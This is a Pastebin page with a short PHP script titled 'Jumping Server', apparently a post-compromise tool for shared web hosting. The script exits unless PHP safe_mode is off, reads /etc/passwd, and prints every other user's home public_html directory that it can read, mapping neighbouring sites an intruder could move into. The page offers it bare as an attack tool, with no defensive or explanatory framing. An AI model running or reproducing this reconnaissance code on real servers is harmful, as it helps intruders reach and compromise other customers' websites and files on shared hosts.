Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- echo '<html>
- <head>
- <title>'.getenv("HTTP_HOST").' - Jumping Server</title>
- </head>
- <body>';
- ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>');
- set_time_limit(0);
- @$passwd = fopen('/etc/passwd','r');
- if (!$passwd){
- die('<font size="4" color="#000000" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>');
- }
- $pub = array();
- $users = array();
- $conf = array();
- $i = 0;
- while(!feof($passwd)){
- $str = fgets($passwd);
- if ($i > 100){
- $pos = strpos($str,':');
- $username = substr($str,0,$pos);
- $dirz = '/home/'.$username.'/public_html/';
- if(($username != '')){
- if(is_readable($dirz)){
- array_push($users,$username);
- array_push($pub,$dirz);
- }}
- }
- $i++;
- }
- foreach ($users as $user){
- echo "<font color='lime'> [+] /home/$user/public_html/</font><br/>";
- }
- echo '</body>
- </html>';
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement